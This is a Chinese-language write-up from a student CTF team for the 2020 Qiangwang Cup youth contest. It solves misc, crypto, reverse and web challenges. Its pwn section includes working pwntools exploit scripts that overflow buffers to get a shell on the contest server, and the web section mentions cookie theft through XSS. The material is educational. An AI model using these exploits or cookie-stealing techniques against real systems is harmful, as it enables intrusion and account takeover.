2020年 强网杯青少年组 WriteUp

Gcow安全团队

共 5283字,需浏览 11分钟

 ·

2020-09-16 10:34

点击“蓝字”关注我们吧


中学生CTF平台
强网杯青少年组WriteUp


前言

      欢迎各位加入我们中学生CTF平台来学习相关知识,分享相关学习感悟。


我们的论坛地址是:https://bbs.zxsctf.com

我们的练习平台是:http://www.zxsctf.com

我们的交流群:


     欢迎各位前来交流学习~


     本次专项线上赛,我们的小队获得了第一名的优异成绩



     以下为这次比赛的WriteUp


Misc
1
一切皆可现

下载是一个 xml 文件,打开查看



开头有一个网址,上网查看,进入发现是一个可视化编程网站,可以将该 xml 文件导入



查看程序逻辑,点击旗子后如果接收到敲击空格,就执行 startbanner,再执行 startcrackme



后面有一个函数,返回 a,b 的异或值。调用的时候将 key 数组里的值与 33 异或返回,然后将数组与回答的 test 对比

1#python2
2a=[71,77,64,70,90,86,18,77,16,98,17,76,18,126,97,79,69,126,102,17,17,69,126,77,116,66,74,0,92]
3flag=''
4for i in a:
5    flag+=chr(i^33)
6
7print flag


flag 值:

flag{w3l1C0m3@ndG00d_lUck!}


2

easy_pcap

解法一:

Wireshark打开,追踪tcp流,然后发现这个


将这个文件名进行base64解码


fake flag证明思路正确,继续翻找就有答案了




解法二:

用 wireshark 装载,追踪 TCP 流,然而什么也没有发现


然后在终端用strings命令


发现可疑的文件名

疑似 base64 密文

使用 chrome 自带的 console 解密


得到 

flag%7B1%27m_H4cK_V1si7_Y0uR_CoMputer_aweSome%7D

使用 HackBar 的 urldecode 再解一次得到 flag

flag{1'm_H4cK_V1si7_Y0uR_CoMputer_aweSome}



3
Git的谜底

这题,怎么说呢?混淆视听?

4
调查问卷

这个就略了,咕咕咕咕咕

5
Luo_Tianyi 

jpg文件格式隐写,stegsovle看图层无果; 

stegdetect探测定位为jphide,使用stegbreak爆破top6000无果 

猜测题目标题为弱口令,经数次大小写转换下划线位置横移,得到jphide密码字段 

即为题目luotianyi,使用steghide工具导出flag文件。

即可得到flag

flag{8dfe88db-0def-4873-9f17-f9c46bd571b6} 


6
misc_made_up 

从题⽬的图⽚中⽤binwalk分离出来⼀个zip⽂件,密码123456(弱⼝令猜出来的= =) 得到压缩包中的txt⽂档,发现⾥⾯有Tab和空格构成的内容,猜测是snow隐写,但是⼀直没 有找到密钥,在这⾥卡了⼀晚上。根据hint给的java盲⽔印,然后在github上找到⼀个项⽬https://github.com/ww23/BlindWat ermark ⽤这个项⽬解出盲⽔印,得到密钥:


snow隐写,密钥为PasS@wo_rd_here 

在http://fog.misty.com/perry/ccs/snow/snow/snow.html解密得到Flag:

 


flag{too1s_is_the_key_of_misc}






Crypto
1

MOSS

普通的莫斯密码,使用在线网站解密,再手动改成小写


flag{mossisveryf4nty}


2
Base64

先把第一个txt文件中原数据那一行正常base64加密然后与txt文件中加密的数据换表,解出flag 。然后当时是少了一位没办法换表,python报错,随便加了字母 然后看着像base64isfantasitic 自己打一遍,提交,正确

1import base64
2import string
3
4st1 = "eFrAe3nNdcyEyCWkxcykZtMkWCWoiRP1iRECkV=="
5
6w1 = "h2QDfRrKfCPsxFDticMpfYTrxtV1yFQMVEyMWPAwXDAxX0IYVZWYVZWvYPnTaZ9uZQQcaZaeaZiTXCPsxtV1yCh4zYLrxCTtxtP2yYVrxOPsxtPsxtV1yCh4zYPsxthqzYl2yRAJf2rHeFImeSyoeGIKhREDfGyKgRIKdb14d3endFy4db12dF5nn"
7w2 = "c2FkaGxrajEyMmkzdXBvaTIxMzQ1NmFBQlNBREhLSkhMS0pTQURTQURKTEtIVU9JUFFXVUVZVUdISjEyMzQ1Njc4OTAxMjIzMzE2NTQxMDEyMzEyMzQ1Njc4OTEyMzcwOTg2NGhqa2xoZmpsZHNuZnprcGlkanNrbGprYW14Y3ZtYmN4YW12Ym5tt"#这里添加了一个t
8
9print(base64.b64decode(st1.translate(str.maketrans(w1,w2))))

flag{Mase64d1sdS0dF4nta5tic}


3
easy_feistel

和 feistel 类似的一个加密,和加密算法反着来就行

1、newR 和 K 反推 L

2、newL 和 L 反推 R

 1from Crypto.Util.number import *
2from Crypto.Util.strxor import strxor
3from base64 import *
4import os
5
6def antif(M,K):
7    M=list(M)
8    MM=''
9    Pe = [14,7,9,1,10,3,2,15,0,13,6,11,12,4,8,5]
10    for i in range(16):
11        tmp=ord(M[i])
12        for j in range(0xfff):#
13            if(((j>>4)^j)==tmp):
14                MM+=chr(j)
15                break
16    MMM=(strxor(MM,K))
17    M=['a','a','a','a','a','a','a','a','a','a','a','a','a','a','a','a']
18    for i in range(16):
19        M[Pe[i]]=MMM[i]
20    MM=''
21    for i in range(16):
22        MM+=(M[i])
23    return MM
24def antiround(M,K):
25    newL = M[0:16]
26    newR = M[16:32]
27    L = antif(newR,K)
28    R = strxor(L,newL)
29    return L+R
30
31k=['7DSxK8pIiYHBw/l8TfZ6Yg==',
32'5b+bhZHcc3CsrD2BHmXX1g==',
33'BYrL+bu+u0/Q5YWQxKcDMQ==',
34'2+wGyXJwwqcfl8fYro5jyQ==',
35'3pVPBqYEvMt/49NjPumFIQ==',
36'414yfF2s3nWdLcKSiRcMBQ==',
37'CUVTCsQKd43Otd4KYVHZuw==',
38'91t7nGUSvZ33puJqBgWFLQ==',
39'6O3JVfN22bjVsnG1Yw0GjQ==',
40'siQzksHj2vhJFbLPE0VrcA==']
41m='Q3OOwbVMEiIrnt5pEfLUE6LfiTdXjKaWoeVG0oN3c+Q='
42
43m=b64decode(m)
44for i in range(10):
45    m=antiround(m,b64decode(k[9-i]))
46print m


flag{4b5b6e66-0fcc-405a-97ca-0}


4
easy_Crypto

压缩包第一个猪圈密码,第二个 aaencode 猪圈出来了一个乱七八糟的东西,但是 aaencode 解出一个 alret 什么东西,但意思是说要用到 5。然后猪圈密码解出来的直接 w 栅栏密码 5

flag{cryptography_is_so_insteresting}


5
简单算法

简单的异或,直接反过来

1flag=''
2key=[496058535010711763571076310966137651191181281421181171181231477712613012415280127134838713487147148142959385]
3for i in range(len(key)):
4    a=key[i]-(i+1)
5    a^=86
6    flag+=chr(a)
7print flag

flag{38af7b7c-d138-4662-b216-d60dc5e881ab}






Pwn
1

加减乘除

checksec,能开的保护全开了


IDA 载入找到主程序


 1__int64 __usercall sub_140A@(__int64 a1@)
2{
3  __int64 result; // rax
4  char v2; // [rsp-11h] [rbp-11h]
5  signed int v3; // [rsp-10h] [rbp-10h]
6  signed int v4; // [rsp-Ch] [rbp-Ch]
7  __int64 v5; // [rsp-8h] [rbp-8h]
8
9  __asm { endbr64 }
10  v5 = a1;
11  v3 = 0;
12  v4 = 0;
13  while ( 1 )
14  {
15    sub_1100("\x1B[0;0H\x1B[2J");
16    if ( v3 > 66 || v4 > 12 )
17      return sub_1100("Oh NO! passcode = %d \n");
18    if ( v3 == 66 )
19      break;
20    ++v4;
21    v2 = sub_1377("\x1B[0;0H\x1B[2J");
22    switch ( v2 )
23    {
24      case 97:
25        v3 = 3;
26        break;
27      case 98:
28        v3 += 4;
29        break;
30      case 99:
31        v3 *= 7;
32        break;
33      case 100:
34        v3 /= 5;
35        break;
36    }
37  }
38  sub_1100("\x1B[05m\x1B[41m");
39  sub_10D0("Yes! you WIN!");
40  result = (unsigned int)dword_40A0;
41  if ( dword_40A0 )
42    result = sub_1249();
43  return result;
44}


1、定义了四种运算

2、操作过程中数值不能超过 66

3、操作数不能大于 12

基于以上条件进行 dfs

 1#include
2#include
3using namespace std;
4
5int path[14];
6void dfs(int sum,int floor){
7    if(floor>12||sum>66){
8        //printf("no%d\n",sum);
9        return;
10    }
11
12    if(sum==66){
13        printf("ok\n");
14        for(int i=0;i<14;i++){
15            printf("%d",path[i]);
16        }
17        return ;
18    }
19
20    path[floor]=1;
21    dfs(3,floor+1);
22    path[floor]=2;
23    dfs(sum+4,floor+1);
24    path[floor]=3;
25    dfs(sum*7,floor+1);
26    path[floor]=4;
27    dfs(sum/5,floor+1);
28}
29
30int main(){
31    dfs(0,0);
32    return 0;
33}


得到多种方法,随便选一种



想要 getshell 还要绕过检测

1if ( dword_40A0 )
2    result = sub_1249();
3  return result;


变量 dword_40A0 位于 bss 段,存储名字变量的下方

读入名字的时候没有限制长度,可以通过溢出覆盖 dword_40A0,绕过检测


读入长度应大于 0x40a0-0x4060

 1#python2
2from pwn import *
3
4a='122423222222'
5
6#p=process('./pp')
7p=remote('182.92.184.215',12345)
8
9def do(str):
10    p.recvuntil('> ')
11    p.sendline(str)
12
13#p.recvuntil('Input your name to start: ')
14sleep(6)
15p.sendline('aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaa')
16
17for i in range(len(a)):
18    if(a[i]=='1'):
19        do('a')
20    if(a[i]=='2'):
21        do('b')
22    if(a[i]=='3'):
23        do('c')
24    if(a[i]=='4'):
25        do('d')
26#p.recvuntil('Yes!')
27#p.sendline('cat flag')
28
29p.interactive()



flag{c2c1511be40ce8ede4e208f212659226}



2
url

checksec


IDA 载入分析,效果并不好,关键函数 getchar() 等未能识别出来

但是发现 shell 函数


 1.text:0000000000401299 shell           proc near
2.text:0000000000401299 ; __unwind {
3.text:0000000000401299                 endbr64
4.text:000000000040129D                 push    rbp
5.text:000000000040129E                 mov     rbp, rsp
6.text:00000000004012A1                 lea     rdi, aBinSh     ; "/bin/sh"
7.text:00000000004012A8                 call    sub_4010C0
8.text:00000000004012AD                 nop
9.text:00000000004012AE                 pop     rbp
10.text:00000000004012AF                 retn
11.text:00000000004012AF ; } // starts at 401299
12.text:00000000004012AF shell           endp


如果能劫持栈到该地址即可 getshell

使用 gdb 动态调试,探究程序逻辑



发现 getInput 函数调用 getchar 读取指定长度的字符串


然后调用 strcat 将三个字符串拼接,同时添加 ‘://’ 和 ‘/’


拼接目标地址的大小为 0x108,而三个输入的大小和只有(0x40+0x40+0x50)不足以溢出

审计 getInput 函数发现存在单字节溢出


可以绕过 strcat 的 \x00 截断将输入拼接在一起

构造

1pay1='a'*0x29
2pay2='a'*0x40
3pay3='a'*(0x50-4)+'\x99\x12\x40'


经过拼接后溢出覆盖函数返回地址 getshell


执行脚本得到 flag

 1#python2
2from pwn import *
3
4#p=process('./pq')
5p=remote('182.92.184.215',34521)
6#p=gdb.debug('./pq')
7
8shell_addr=0x401299
9
10pay='a'*0x29
11p.recvuntil('(protocol): ')
12p.sendline(pay)
13p.recvuntil('(domain): ')
14pay='a'*0x40
15p.sendline(pay)
16p.recvuntil('(path): ')
17pay='a'*(0x50-4)+'\x99\x12\x40'
18p.sendline(pay)
19
20p.interactive()



flag{632baa372b06e64a5cc0b395fdb90fce}





Reverse
1

vm算法分析

IDA 载入

shift+f12 找到关键字符串,跟进


得到关键伪代码

 1//修改了变量名
2int sub_411610()
3
{
4  HANDLE v0; // eax
5  size_t v1; // eax
6  char v3; // [esp+0h] [ebp-5Ch]
7  char v4; // [esp+0h] [ebp-5Ch]
8  signed int j; // [esp+4Ch] [ebp-10h]
9  void *lpBaseAddress; // [esp+54h] [ebp-8h]
10  unsigned int i; // [esp+58h] [ebp-4h]
11
12  sub_4111BD(&unk_419012);
13  for ( i = 0; i < 0x1C8; ++i )
14    byte_417000[i] ^= 0x25u;
15  sub_41103C("please input your flag:\n", v3);
16  gets_s(Str1, 0x40u);
17  lpBaseAddress = VirtualAlloc(00x1000u, 0x1000u, 0x40u);
18  dword_417076 += lpBaseAddress;
19  for ( j = 0; j < 8; ++j )
20    dword_4171A8[j] += lpBaseAddress;
21  v0 = GetCurrentProcess();
22  WriteProcessMemory(v0, lpBaseAddress, byte_417000, 0x1C8u, 0);
23  (lpBaseAddress)(Str1, &unk_4171F8);
24  v1 = j_strlen(Str1);
25  if ( !strncmp(Str1, Str2, v1) )
26    sub_41103C("success!\n", v4);
27  else
28    sub_41103C("try again\n", v4);
29  system("pause");
30  return 0;
31}


1、从 417000 开始的 0x1c8 位,每位异或 0x25

2、输入 str1

3、用 VirtualAlloc 申请空间

4、将异或完的数据写入申请的空间

5、跳转到这个空间执行

6、最后对比 str1 和 str2

首先写脚本将异或后的函数 dump 出来

 1a=[112, 174, 201, 164, 201, 141,  37,  37,  37, 118, 
2  115, 114, 181, 181, 181, 181, 181, 181, 181, 181, 
3  181, 181, 226,  96, 133,  37,  37,  37,  37, 226, 
4   96, 129,  37,  37,  37,  37, 226,  96, 141,  37, 
5   37,  37,  37, 226,  96, 137,  37,  37,  37,  37, 
6  157,  36,  37,  37,  37, 160, 229,  42, 161, 122, 
7   36,  37,  37, 174,  96,  41,  38,  96, 137,  42, 
8  147,  45, 172, 168, 125, 218, 218, 218, 174, 176, 
9  125, 218, 218, 218, 164, 207, 213,  37,  37,  37, 
10  172, 176, 125, 218, 218, 218, 166, 152, 125, 218, 
11  218, 218,  34,  42, 162,   9,  36,  37,  37, 174, 
12  160, 125, 218, 218, 218, 218,   1, 160, 141,  36, 
13   37,  37, 174,  96,  45,  38,  96, 129,  42, 147, 
14   45, 164, 196, 218,  37,  37,  37, 174, 112, 141, 
15  172, 105, 176, 149, 174,  96, 141, 166, 229,  36, 
16  172,  96, 141, 174,  96, 137, 166, 229,  36, 172, 
17   96, 137, 204, 215,  37,  37,  37, 174,  96, 141, 
18  166, 205,  36, 172,  96, 141, 174,  96,  45,  38, 
19   96, 129, 174, 104, 141, 175, 113, 168, 149, 173, 
20  117, 218, 174,  96, 137, 166, 229,  36, 172,  96, 
21  137, 204, 238,  37,  37,  37, 174,  96, 141, 166, 
22  205,  36, 172,  96, 141, 174,  96, 141, 174, 105, 
23  160, 149, 172, 104, 133, 174,  96, 137, 166, 229, 
24   36, 172,  96, 137, 204, 143,  37,  37,  37, 174, 
25   96,  41,  38,  96, 137,  42, 147, 109,  36,  38, 
26  104, 133, 172, 104, 133, 174,  96, 137, 166, 229, 
27   39, 172,  96, 137, 204, 169,  37,  37,  37, 174, 
28   96, 141, 174, 105, 160, 137,  22, 104, 133, 174, 
29  112, 141, 172, 105, 176, 137, 174,  96, 137, 166, 
30  229,  36, 172,  96, 137, 206,  85, 174,  96, 129, 
31  166, 229,  36, 172,  96, 129, 174,  96, 137, 166, 
32  229,  36, 172,  96, 137, 206, 121, 174,  96, 141, 
33  166,  89, 160, 137,  37,  81,  47, 174,  96, 141, 
34  166,  89, 160, 137,  47,  80,  46, 174,  96, 137, 
35  166, 229,  38, 172,  96, 137, 206,  44, 174,  96, 
36  137, 166, 229,  36, 172,  96, 137, 206,  23, 226, 
37   96, 185,  37,  37,  37,  37, 174,  96,  45,  38, 
38   96, 185,  42, 155,  45, 160, 236,  81,  46, 174, 
39   96, 185, 166, 229,  36, 172,  96, 185, 206, 205, 
40  174,  96, 129,  30,  96, 185,  80,  33, 206,  43, 
41  206,  34, 226,  96, 137,  37,  37,  37,  37, 204, 
42  177, 219, 218, 218, 122, 123, 126, 174, 192, 120, 
43  230,  37,  37,  37,  95,  37,  37,  37, 130,  37, 
44   37,  37, 235,  37,  37,  37, 202,  37,  37,  37, 
45   40,  36,  37,  37,  12,  36,  37,  37,  24,  36, 
46   37,  37,  66,  36,  37,  37,  11,  12,   5,  19, 
47   73,  87,   3,  91,  13,  12,   4,  10,  20,  75, 
48   84,  82,  83,  31,  26,  84,  86,  86,  73,  76, 
49    2,  91,  94,  72,  74,  83,  82,   4,  83,  84, 
50    2,  92,  11,   3,   6,   2
51]
52#print a
53#python2
54for i in range(0x1c8):
55  a[i]^=0x25
56fw=open("seg","wb")
57for i in range(0x1c8):
58  fw.write(chr(a[i]))


然后 IDA 载入 dump 出来的 seg 分析

右键 create function+f5 得到函数

 1//修改了变量名
2int __cdecl sub_0(int str1, int fx)
3
{
4  int result; // eax
5  int i; // [esp+50h] [ebp-64h]
6  int v4; // [esp+54h] [ebp-60h]
7  int str_ptr; // [esp+58h] [ebp-5Ch]
8  int heap_ptr; // [esp+5Ch] [ebp-58h]
9  int fx_ptr; // [esp+60h] [ebp-54h]
10  int heap[20]; // [esp+64h] [ebp-50h]
11
12  v4 = 0;
13  str_ptr = 0;
14  heap_ptr = 0;
15  fx_ptr = 0;
16  while ( 2 )
17  {
18    switch ( *(fx_ptr + fx) )
19    {
20      case 0xF0u:
21        heap[heap_ptr++] = *(str_ptr + str1);
22        ++fx_ptr;
23        continue;
24      case 0xF1u:
25        *(str_ptr + str1 - 1) = heap[--heap_ptr];
26        ++fx_ptr;
27        continue;
28      case 0xF2u:
29        v4 = heap[--heap_ptr];
30        ++fx_ptr;
31        continue;
32      case 0xF3u:
33        v4 += *(fx_ptr + fx + 1);
34        fx_ptr += 2;
35        continue;
36      case 0xF4u:
37        *(&fx_ptr + heap_ptr) ^= v4;
38        ++fx_ptr;
39        continue;
40      case 0xF5u:
41        ++str_ptr;
42        ++fx_ptr;
43        continue;
44      case 0xF6u:
45        if ( *(&fx_ptr + heap_ptr) && *(&fx_ptr + heap_ptr) != 10 )
46          ++fx_ptr;
47        else
48          fx_ptr += 3;
49        continue;
50      case 0xF7u:
51        for ( i = 0; *(i + str1); ++i )
52          ;
53        result = str_ptr;
54        if ( str_ptr != i )
55        {
56          fx_ptr = 0;
57          continue;
58        }
59        return result;
60      default:
61        continue;
62    }
63  }
64}


对调用参数进行分析


可知该函数的逻辑大概是

1for(int i=0;i<len;i++){
2    str[i]=(str[i]+1)^str[i+1];
3}


反向推理出解密脚本,带入 str2

 1#python2
2str2=[0x0B, 0x0C, 
3  0x05, 0x13, 0x49, 0x57, 0x03, 0x5B, 0x0D, 0x0C, 0x04, 0x0A, 
4  0x14, 0x4B, 0x54, 0x52, 0x53, 0x1F, 0x1A, 0x54, 0x56, 0x56, 
5  0x49, 0x4C, 0x02, 0x5B, 0x5E, 0x48, 0x4A, 0x53, 0x52, 0x04, 
6  0x53, 0x54, 0x02, 0x5C, 0x0B, 0x03, 0x06, 0x02, 0x45]
7str2=str2[::-1]
8flag='}'
9for i in range(len(str2)):
10  tmp=ord(flag[i])^str2[i]
11  flag+=chr(tmp-1)
12flag=flag[::-1]
13print flag


flag{5aa97418-e2a1-4a4c-ba9d-d6eb0ed91147}





Web
1

签到

解法一:

直接f12往下翻,一个个body和script的看,然后找到flag{} 直接复制粘贴,正确



解法二:

burp进行抓包,即可看到flag

flag{ee20a7f2-454f-461c-80a6-b18681e6df02}


2
easy_http

打开题目第一关提示要用get请求传参fruit=apple


进入下一关,阅读题目,题目要求用post请求,传入vegetable=potato


通过阅读题目,要加入x-forwarded-for头且为127.0.0.1


下一关,的

 


很亮, 问这么多人,怎样知道哪个是你,猜测ua头进行判断


获得flag,题目有个小坑,之前尝试复制全部,发现去掉感叹号才可以

flag{c6c88f84-26c0-4371-8b81-0fca678db251}



3
xss

上来先直接测下xss双写试下

发现可以弹窗 确认存在xss,有弹窗出现,连上xss平台试试

提示直接写入刚才路径


之前打的次数多 然后打开


Cookie登录即获取flag

flag{63de06dc-05ba-48d7-a937-a984f0a9aea2}


4
easy_php


发现!=考察点弱比较,传入a1和a2两个参数,加个数组“[]”可以传入不同值如图


即第一关通过 第二关同理


第二关通过 最后一关考到科学计数法,类比下


传入time=1e32 得到flag


flag{8c9ff883-a9b6-4831-ba49-940b973df616}


点击此处“阅读全文”访问中学生CTF论坛~



浏览 423
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报
评论
图片
表情
推荐
点赞
评论
收藏
分享

手机扫一扫分享

分享
举报